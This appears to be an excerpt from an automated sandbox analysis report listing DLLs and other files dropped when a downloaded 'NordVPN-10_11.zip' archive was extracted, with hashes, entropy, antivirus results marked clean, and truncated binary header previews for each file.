Entropy (8bit):	5.910722507912451
Encrypted:	false
SSDEEP:	384:W3v2f73zcgLU3BRsUl2sMiMyvf6dkfXLiLF0GfyHw7pRK4RKSwsjtiGt5JNNzFwb:WeMDGzNXyGHNRKcfpj3whh
MD5:	BD8F32EF749328AD76D8B16C6AFDAEE7
SHA1:	F8F3195DD3177182333C137FFEBA941CCE21F996
SHA-256:	D0FBCF7A31E137BDC22CA3561A5694DE36E3FDCC70823EF3B5A4D18BA5AB873E
SHA-512:	BB3B013CCFCDA902B8456103DCE5CDC3D6E8D5060994467FF50A20DC14949517F2EFC2086FBB27774D3E72F6E0A92810C58581D2C813817BAE0C6B0BE1429198
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........')..FG..FG..FG..>..FG...D..FG...B..FG...C..FG...F..FG.2....FG..FF..FG...N..FG...G..FG......FG..F..FG...E..FG.Rich.FG.................PE..d......X.........." .....4...B......`5...................................................`..........................................f.......g..................,....t...............V..p...........................pV...............P..h............................text....3.......4.................. ..`.rdata...$...P...&...8..............@..@.data................^..............@....pdata..,............b..............@..@.gfids..,............h..............@..@.rsrc................j..............@..@.reloc...............r..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\boost_system.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34944
Entropy (8bit):	5.892574430686721
Encrypted:	false
SSDEEP:	384:Zj17tArbZZb8GoVlPuWawUCfoBSrVgwSoRRi6wwJg2jFoRKSwsjtiGX65JNNzFwf:ZErHoVlPdrVgwrRi6wkljFMfpk3wh5
MD5:	E34FE9F692579294041A185F3C1C0A82
SHA1:	38D9DFC8FE524D44083EB07B3C0FFCB900E598C4
SHA-256:	A16ADF54B70D59F9A9B1BCEE3C296E2588B8FF757F8A68A0747736C163F0EF61
SHA-512:	428A1F99C6DB7F7C4E5C45A606B7241891BFE5A4E2D90D2DA6740CA757873ACA7A98B940D54E4AC90054CB3B85B4997A19A0EA88D7465454298A820584CD3102
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#...#...#.....'.......!.......2.......(.......'....[r. ...#...........!.......".....F."...#..."......."...Rich#...........PE..d......X.........." .....4...:.......2........@........................................... .........................................`d......$e..x....................l..........\|....U..T....................V..(...pU...............P...............................text....3.......4.................. ..`.rdata.......P.......8..............@..@.data...h....p.......V..............@....pdata...............Z..............@..@.tls.................`..............@....gfids..<............b..............@..@.rsrc................d..............@..@.reloc..\|............j..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mp2m.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30640
Entropy (8bit):	6.1228618847576675
Encrypted:	false
SSDEEP:	384:9fWckZmW2CymBYlSAw3v3WUzGm5IFUKZ0MFmP0gsgHVETM9yI6gb36cR8rnYPLsN:VWcUbYlG/WZ3FmPWgig9pq7V09dK/
MD5:	8CBA615556BDCFBE28BD1936A30C28DE
SHA1:	A9426C52158FB4BA5DC53F4CE8D551471C40D652
SHA-256:	14B5E3E0202214F685E857BE409FB756912E2DB5E8284AE1C1A11FBFDDEF1341
SHA-512:	C261CFEDF34899E7B6D4B013EE1F0633F6403793859560EE7D478243A7E78A7B90D0EEAE7E13D8F35D54A309A1C428AAF4ECB5B35BB5B089A88BF2E4CD2B59BE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:9k.~X..~X..~X..w ..\|X......}X..~X..EX......\|X......uX......\|X..e...X..e..\|X..e...X..e...X..e...X..Rich~X..........PE..d....5.X.........." .....<...$.......E...................................................@..........................................`..Y...([..<....................`...............R...............................................P...............................text...2;.......<.................. ..`.rdata..)....P.......@..............@..@.data........p.......R..............@....pdata...............T..............@..@.rsrc................X..............@..@.reloc..$............^..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mp2v.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40368
Entropy (8bit):	6.094910221394567
Encrypted:	false
SSDEEP:	768:tBKOA2PSeVTFp/JBV6IRhAV2SlgSaX8J/q7Vt:tBKkVbJB8V2SlmX8J/It
MD5:	0F6A4B70A54639DAB6928AA7BBCBC1D4
SHA1:	FEAF200B003B677508744AD4A11E898CD89D668B
SHA-256:	183EDF310DC4E4753190C14D45045F7425038D49B13658AA3C463204C4A69C45
SHA-512:	ECE7DC4A8B2D41B26A14ED4C0AC33F4870140A1F3595A2DB77EF891E2A703974A39EA76D4BFE2B5094854CB41438F1E2EE7DB1BDB8C46EBB347A567A282F33A5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d^e. ?.. ?.. ?..)G.."?..OI..#?.. ?...?..OI.."?..OI..+?..OI.."?..;...#?..;..."?..;...!?..;...!?..;...!?..Rich ?..................PE..d....5.X.........." .....Z...,.......d....................................................@.............................................Y.......<................................... r...............................................p...............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data................v..............@....pdata...............x..............@..@.rsrc................~..............@..@.reloc..$...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mp4v.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31152
Entropy (8bit):	6.089596215494929
Encrypted:	false
SSDEEP:	384:8hY812E8rWJzOQsMahWCMAX40L3OcqKGkezr5QCzYqv9yI6cs73RqnYPLsxVDyj:kcSzS7gYkaeztzsqv9cw7VI
MD5:	0E069B4D700AC1DB9B11A183635B3146
SHA1:	3F3874A612C3662FFF57225F3DF474815A4721CF
SHA-256:	EBD7041D300CE29EA60714D63431F4920444EE9E1CBF408D3FEC4758E386C91A
SHA-512:	FBAB80984FDC018151961246C2DA22B44FCAC5B7E65256650F45DB9C7B4761A5C9CE3F869CD4A843D1C3DC27075D20BE726013D00C88B1F1106F423DBDA33123
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2...\.\.\....\.....\.].\.....\.....\.....\....\....\....\....\....\.Rich..\.........PE..d....5.X.........." .....<...&.......F....................................................@..........................................b..Y...P\..<...............`....b...............R...............................................P...............................text...r;.......<.................. ..`.rdata..Y....P.......@..............@..@.data........p.......T..............@....pdata..`............V..............@..@.rsrc................Z..............@..@.reloc..$............`..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mpa.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29616
Entropy (8bit):	6.042564704074876
Encrypted:	false
SSDEEP:	384:tFsenjoaqOPEjVToH16QXgKozAIFvpSgytgLYnYJOOYh9yI6ziWalrrnYPLsxVvr:TciEjVTlShCFx9yISYJ5S9lp7Vfr
MD5:	9D4901CB4E71659DD973B6161A58C547
SHA1:	6CBE92E95747426268E63A921E69D5AFFBB214A8
SHA-256:	2CD10E246388853C9252F133E63DCA439BAC63F543C478BDC52E94E783C46EBC
SHA-512:	0205AB5253318B77F2C9E37DB505E0F2538B3B2510CCEF0F007EB7FB0236B9BDC5240F8D08811D289C97D0F6AF97AA00D9CD942DD27723F6B51ADD8C4532D0EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:9k.~X..~X..~X..w ..\|X......}X..~X..EX......\|X......uX......\|X..e...X..e..\|X..e...X..e...X..e...X..Rich~X..........PE..d....5.X.........." .....8...$.......@..............................................6(....@......................................... `..W...pZ..<....................\...............R...............................................P...............................text..."6.......8.................. ..`.rdata..w....P.......<..............@..@.data........p.......N..............@....pdata...............P..............@..@.rsrc................T..............@..@.reloc..$............Z..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_pcm.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29104
Entropy (8bit):	6.086969966704796
Encrypted:	false
SSDEEP:	384:50XckGI2b2fhO450wYiaQHwc4fS1Ms06OLoihN/kZbzE9yI6utnm5JnYPLsxVK/:OP2ah/qwMCXMs06yoihSZbzE99lY7VI
MD5:	B6375C003F8388C923419CEF5F22EB86
SHA1:	D07C5F8FE71758B8272C3C66308A80872BEE829F
SHA-256:	6725FA5E9DD324A5C69DD050A01275B8DF2676342E3E2451D2BEFDD9519FB8D6
SHA-512:	11DB0C38FEE3A22CC5FB8F3C72239165453F241C991752F3EFD1FBA7AA1B8EFAD640954BF00DB13AEC6F20C3118AA7711CDABBE1089A933932D9520057057BD2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:9k.~X..~X..~X..w ..\|X......}X..~X..EX......\|X......uX......\|X..e...X..e..\|X..e...X..e...X..e...X..Rich~X..........PE..d....5.X.........." .....6...$......X@...............................................`....@.........................................._..W...@Z..<....................Z...............R...............................................P...............................text....5.......6.................. ..`.rdata..G....P.......:..............@..@.data........p.......L..............@....pdata...............N..............@..@.rsrc................R..............@..@.reloc..$............X..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_dec_spic.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24496
Entropy (8bit):	6.3116495999666755
Encrypted:	false
SSDEEP:	384:aq2bAQY3CHPF1xi7j83j6D+RwYE97kk6rv7AyinFinYPLsxVCmx:mAQ9i7g3jUYE97kbvMhc7VCmx
MD5:	ACD916A10A5A85508BA3A2582BDB1DFB
SHA1:	1746729D619E93F421CFD4D44972B3B26EDE8E2D
SHA-256:	EAE8879FF198F7DA4C01E0524681591A1233C83C937D87E59C2F7706FB127AD4
SHA-512:	95ADB09DAFD0E673A360A077CD4F12AD38A35861017435356F061337A7FAF8C73E4A1A0E6282A6113870AF9DACA506B57297F1D1456E793CD3DC1A725177DC58
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H..j)u.j)u.j)u.cQ..h)u.._..i)u.j)t.H)u.._..k)u.._..a)u.._..h)u.q...h)u.q...k)u.q...k)u.q...k)u.Richj)u.................PE..d....9.X.........." .....,..........x6...............................................l....@......................................... I..\...4E..<....p..H....`..(....H..............PA...............................................@.. ............................text....+.......,.................. ..`.rdata..\|....@.......0..............@..@.data........P.......:..............@....pdata..(....`.......<..............@..@.rsrc...H....p.......@..............@..@.reloc..$............F..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_demux_dv.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	41392
Entropy (8bit):	6.326660593710435
Encrypted:	false
SSDEEP:	768:JZxa52ZDPAoz0lZZGnz16+GsVt17rfnTLuIBC7Vt:XPAenQh0l/uYAt
MD5:	DADFAD023675C4E140DE34D63AF37662
SHA1:	D641510DFC2C38FCE0BCA15A089523284647627D
SHA-256:	0F15603446E2018610E0434E0224933D43023C30A6E7F503A428066CEEE4D8A9
SHA-512:	60F6D373F173E8ED36452CEA09C020EF679B0467555491FA9DBAFA2FC65DF55D44B1CE3731EC78B69641721AAC07D360447AB73CFAEBAAEEDCD97E41B0D3BCE5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z....f...f...f..c....f..m....f...g...f..m....f..m...f..m...f......f.......f.......f.......f.Rich..f.........................PE..d...t:.X.........." .....0...Z.......9....................................................@....................................................<...............<...................@A...............................................@...............................text............0.................. ..`.rdata..FF...@...H...4..............@..@.data................\|..............@....pdata..<............~..............@..@.rsrc...............................@..@.reloc..$...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_enc_mp2sr.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34736
Entropy (8bit):	6.171382584004208
Encrypted:	false
SSDEEP:	384:qXpUP7MfPpGqtDHbV6pGfNfMqJ6FlrnBoHVU+ESnvsZc3EK+CCEUGitiDyI63EKb:qX6Pu9VBNfMqJ2loHvH3EcisILs7V5U
MD5:	2649AF1A0AE231F15483561783389101
SHA1:	AF6DC6F4F25FDFA8458B17CB493A37F925173C96
SHA-256:	E2393F80734BF5418AA3FC9184E41661488EDEB27AF653D87429539BABF378DF
SHA-512:	0402B7DF51AFD660E0FA66CCD2026D4943423DECF8FA7C506D9586F9E3A4984F0C28B4C06B13778EBAF2193354467D5D9D5A0CB6524113032A725E592FF2CF41
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..Ar...r...r...{._.p.....P.q...r...^.....R.p.....f.y.....g.p...i.f.s...i.g.w...i.W.s...i.V.s...i.Q.s...Richr...........................PE..d....:.X.........." .....>...4.......F...............................................Y....@..........................................m......Hh..<....................p...............Q...............................................P..p............................text....<.......>.................. ..`.rdata.......P... ...B..............@..@.data...X....p.......b..............@....pdata...............d..............@..@.rsrc................h..............@..@.reloc..$............n..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_enc_pcm.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37808
Entropy (8bit):	6.338865871604397
Encrypted:	false
SSDEEP:	768:lK14H2gUd4uhcu3KtrfWIEDE0EBjBdzQtTKhN3ecnICn7VD:yGUduKgxBj3zQYhYcnICpD
MD5:	88E44AB7DD884E08CEF298B348224795
SHA1:	C4F1C8752FB2CCF9D2B7C3B44BED70BD40788BF7
SHA-256:	639EB305C4A47CD819AFB1561D0264DD806D05168967ED8C2C0D7EAFF9A529C3
SHA-512:	14D9C095989788DA9EC16A667AFE742A2F724BDB99DC73FBC93AD47362325855BF474E5AF685346C7CF3FED93F10C86A1C6D3A7BA5731A36DE49A7C7E1014E6E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............g...g...g.......g.......g...f...g.......g......g......g..R...g..R....g..R....g..R....g.Rich..g.........PE..d...-6.X.........." .....N...0.......W....................................................@..........................................x.......t..<....................\|..........(...Pa...............................................`.. ............................text....M.......N.................. ..`.rdata.......`.......R..............@..@.data................l..............@....pdata...............r..............@..@.rsrc................v..............@..@.reloc..x............z..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_mux_dv.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40368
Entropy (8bit):	6.292799900511017
Encrypted:	false
SSDEEP:	768:oGwcZSJf5YLDnz16+GsVt17rfnTL1wt7VA:GWQh0l/1wTA
MD5:	F29BDD752B692E7C8F382D4DAB47597B
SHA1:	317C972D7F7F662EC9B30A2D14FF9CDAC637533F
SHA-256:	311854DC63974356CFCCB112D345E461BDCFC98ED44D61AF8DB3F9AC33E59CB0
SHA-512:	D958121A4ED2BA36D773531DAFD2230E20EEB2585DFDF765B591D773F1F6ADCC1E732C0DAA27179430EBD0ED9861ADABD5D7B3A801913B238D0157B499E76375
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a...............xZ.....vU.............vW.....vc.....vb......c......R......S......T.....Rich....................PE..d...v:.X.........." .....,...Z.......5..............................................l_....@.............................................f......<...................................@A...............................................@...............................text....+.......,.................. ..`.rdata...F...@...H...0..............@..@.data................x..............@....pdata...............z..............@..@.rsrc................~..............@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_trans_audio_converter.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37296
Entropy (8bit):	6.394072983348888
Encrypted:	false
SSDEEP:	384:2w7iBMkDoszsSTNtNtrZ1WCducYXdPsbjrJYzYkqQHc4NRiANGG+cGLeHeC+ikkA:uhxAWNtNtrZ1WCasrGNoAmEs5k7Vm
MD5:	B24E3E00ECDC7E900A885C382A2AD80A
SHA1:	64316BCD8ED7D2C2449274D012DE85CAE46BC0F6
SHA-256:	C91BC64000369EB1391AB6D31170A164A98BA32F5944E68368ACCA29D6B88F3A
SHA-512:	F441F5801BACEAB1BDB9598CDB669728872BC418082D2CA5BEEBF8D2CE1D7B4B6B8ADF6AE6A49248FACB2F023E50655504417C3624670B8AD394A45EB45173EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........DD.......................+....................u......u......u......u.....Rich...................PE..d...\|A.X.........." .....N...,.......X............................................... ....@......................................... u.......p..<.......H.......4....z..............pa...............................................`..@............................text...bM.......N.................. ..`.rdata.......`.......R..............@..@.data................j..............@....pdata..4............l..............@..@.rsrc...H............r..............@..@.reloc..$............x..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_trans_video_framerate.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27056
Entropy (8bit):	6.187708436158289
Encrypted:	false
SSDEEP:	384:JLL3u3xicK5OASwnqEQvE6BKMcG6r6mvzDLDG+cwceiIbO/k67UMtY5nYPLsxV8H:B3w+OEMv+MnAf9bO/rdo7Vq
MD5:	33A2A9C044636C003C39A0DC38ABE652
SHA1:	A6C8BBB7C3B86675196979135D45302821785BD7
SHA-256:	CB589F323BA5752BD38E1010C432CACFA7F898DE1CB6BFBA4815D8D4322E212F
SHA-512:	F00E7B541BEE8AD74820098F1D9684F202DA667A791956760DC1D3E6D9B2916AEEC21D0C87879C06A95947FC49D40C1DABF303E4B02C768EA576FDE2D4A35017
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q!..5@.U5@.U5@.U<8.U7@.UZ6.U6@.U5@.U.@.U...U4@.UZ6.U4@.UZ6.U9@.UZ6.U1@.U..U6@.U..U4@.U..U4@.U..U4@.URich5@.U........PE..d...}A.X.........." .........&......x5...............................................>....@..........................................P.......K..<.......h....p.......R..........H....A...............................................@..h............................text....,.......................... ..`.rdata.......@.......2..............@..@.data...x....`.......D..............@....pdata.......p.......F..............@..@.rsrc...h............J..............@..@.reloc...............P..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mfc100chs.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37016
Entropy (8bit):	5.640762624983208
Encrypted:	false
SSDEEP:	384:S1ndBysNKvsXsWPWA5YbRWktLiBrHuuPgldyevyBbXVLN1uC77q0GftpBjKBlzGg:S5divsXBQptLkrHyTby9XVLLiyag
MD5:	FDC71D7C32479A9429B9EAE60D0F4B92
SHA1:	4E10B1EF5544EA9109BC9DFF5D7323E6817B72FB
SHA-256:	85D18D10989543586F384CE8E1BD121E9D0E69F83943FC6DA04A3F7D4A21C598
SHA-512:	EA4E1241B06556DBAC5539AF3657891DF3024168269BB0F4862377C295C84122E6A75CCDB2632CACC025705E8E3E678F8EA3EF131935C069365FDE92D938C8A0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L.....X.........."!.........t....................6]......................................@..............................................r...........v...............................................................................................rsrc....r.......t..................@..@....................................................8.......P.......8....... .......8....................>..P....................>..h....>.......?.......?.......?.......?.......?.......?.......?..(....A..@....B..X... B..p...AB......BB......CB......VB......lB.......B.......B.......B..0....x..H....x..`....x..x....x.......~.......~.......~....................;..................... .......8.......P.......h...........!.......(.......).......*.......,.......-...........(.......@.......X.......p...........................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mfc100cht.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37016
Entropy (8bit):	5.6974279314875655
Encrypted:	false
SSDEEP:	384:m1cPmgt96DteT9X2IEI41W4WA1G/7kn4TJgUqJgM3KbgkE3H+iihZ2+10vq0GftC:muufpTVI4P+7kn4TJVM3i/EhK2iex
MD5:	61A56EB574DAA6CEAB692F98BE3E5BB6
SHA1:	B52AA36E1A2594FE0AC97EE0B867DF822D223B76
SHA-256:	928F0528706576C2F7211E98462E87E03BFC14EB7A84CA3531F45CE1D9F080A3
SHA-512:	0B787BE453E7D55B810E3075AB96E9F07A7F4A10D34C9082F17C26DB0578A7199DDFCCF1749C87C97541F9484908E59B1A237361B92123F98880DC5835173124
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L.....X.........."!.........t....................6].................................4....@..............................................r...........v...............................................................................................rsrc....r.......t..................@..@....................................................8.......P.......8....... .......8....................>..P....................>..h....>.......?.......?.......?.......?.......?.......?.......?..(....A..@....B..X... B..p...AB......BB......CB......VB......lB.......B.......B.......B..0....x..H....x..`....x..x....x.......~.......~.......~....................;..................... .......8.......P.......h...........!.......(.......).......*.......,.......-...........(.......@.......X.......p...........................

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\update.db

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.2516291673878226
Encrypted:	false
SSDEEP:	3:AAb:Rb
MD5:	98B4113ADB08412CA9532EA5F0448F11
SHA1:	0C2CB18B958D5EA0CC7AB7E8AC1F76ACE31A699B
SHA-256:	82CC90915661F187E1D96FE5259C4D0EC6E0D5079ABC272FE013F089CE6386EB
SHA-512:	45A2DA39064F9DEB028D5490794407C58BCAE8464D6BA2CC02EBE06E5554C567562D9201A17F2C9D661C494B89397DDC0CA44064C14A7EACB60F4E0749C49BA9
Malicious:	false
Reputation:	low
Preview:	cGFuZWwuZXhl

C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\adbeape.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	6.256669935298282
Encrypted:	false
SSDEEP:	768:FoHeyyllSkorBjtgStOHOHK/r2SQ4OpGgrOcQG13hbR:FUeySlSH7dKvQ4OpGgrOcQw3hbR
MD5:	7887CDC369E86B4467E932365CB1285F
SHA1:	FA54CB61A1ADC7048D92BEEA9C7179761DCE12C9
SHA-256:	B3E5312B598F731BFAF9093AD5712B43F06555A72279AEC36A0D79476B63B5B8
SHA-512:	C5BABAD57B875153B11C1040745CF82B14E5F5C8CBB199FFE63FB4D11B1CEC263D801F1E983F329EADDC78095A610EA442495D5BE74E1AF882D068FB1BA84A6E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PO....h...h...h..V....h.a....h..V....h..V....h.3.....h...i.^.h..V....h..V....h..\|....h..V....h.Rich..h.................PE..d...B..Q.........." .....>...>.......E..............................................t%....@.........................................Pt......Tm..d.......D.......(...............D....Q...............................................P...............................text....=.......>.................. ..`.rdata...+...P...,...B..............@..@.data...0............n..............@....pdata..(............p..............@..@.rsrc...D............v..............@..@.reloc...............~..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\Downloads\NordVPN-10_11.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	119057540
Entropy (8bit):	7.997194426085591
Encrypted:	true
SSDEEP:	3145728:sBBOLDyOLNXhcrZOLmKiOL7OLUOLDOLjOLdOLR:sBGvir/Kl
MD5:	F84F0C9272BF2115B44040EA4E177BA6
SHA1:	A87B15CD9AD1F8A6C328C3BAA89DB66B845717BF
SHA-256:	F88855935E9D0EFD3D3A0B244D3308F15CA653474D2E24CD8E9C8C2058336CC3
SHA-512:	D3938D8ECA474F6FD063D04B490CACD581D3469903A92FD36770C7BC2779F4C9C0318EEC5C09E824206500D2E4B91978E5D38AA39C8C52BA846475C5F3F5518D
Malicious:	false
Reputation:	low
Preview:	PK...........T................data/PK..........AM..D..H..........data/adbeape.dll.ZktSWv..,#L..C.......M.g....C.9.k...y.@.L.q&<<X..L3&...X.....43]3..m..ia..%...6/.&@H.....A....y..}...b..?..ZK....>...;....#..A.....>..<.............#..3.G.]T.\|..f...6.^.xf.......<..T......oA.c..5.N...<.&.\|A.[..Vw..Yr.......ig.7.k.3..neT........b..].X...........F....K.a.+..a.'.e..d.0.PA.%./\|.`..A.7......U.s#...P.1.;./...../.?.".....,.. ..Y.#..f..........s.v.p..r.j.}.T..[.p.l..h..#...............S..\|.h....L.....v4..v.5.a.....FG..M...M.6......=.n#4\|..m..}).].....C{5.>L...G.p....bB}...9..}...@S1..+.nt?uBj.Z.[#...f.X.&.s.&d..R(.....`...W8-K...jWA-...^h..%hq....zLY3.:..BW8.@.c...Th.f.Tz..."..}.l\|n.v.a($$..y.m..P.....'s......$.Dga.1.......CY@.Z..FA.6.#5..........H......d...(.....9..7...G?.U..C.....@h.j#;.u..B.........\.e...X.&.....H...j..b}.@.98..Ff.F.2.y>3$..m}..m1K.Pl..... ..B.B.ZW.J..p..e.g......N..`.Z.:.T.............e.E.....Qg.y.....Cu9.pl...D.......z.......T...3(.T.....

C:\Users\user\Downloads\NordVPN-10_11.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	119057540
Entropy (8bit):	7.997194426085591
Encrypted:	true
SSDEEP:
MD5:	F84F0C9272BF2115B44040EA4E177BA6
SHA1:	A87B15CD9AD1F8A6C328C3BAA89DB66B845717BF
SHA-256:	F88855935E9D0EFD3D3A0B244D3308F15CA653474D2E24CD8E9C8C2058336CC3
SHA-512:	D3938D8ECA474F6FD063D04B490CACD581D3469903A92FD36770C7BC2779F4C9C0318EEC5C09E824206500D2E4B91978E5D38AA39C8C52BA846475C5F3F5518D
Malicious:	false
Reputation:	low
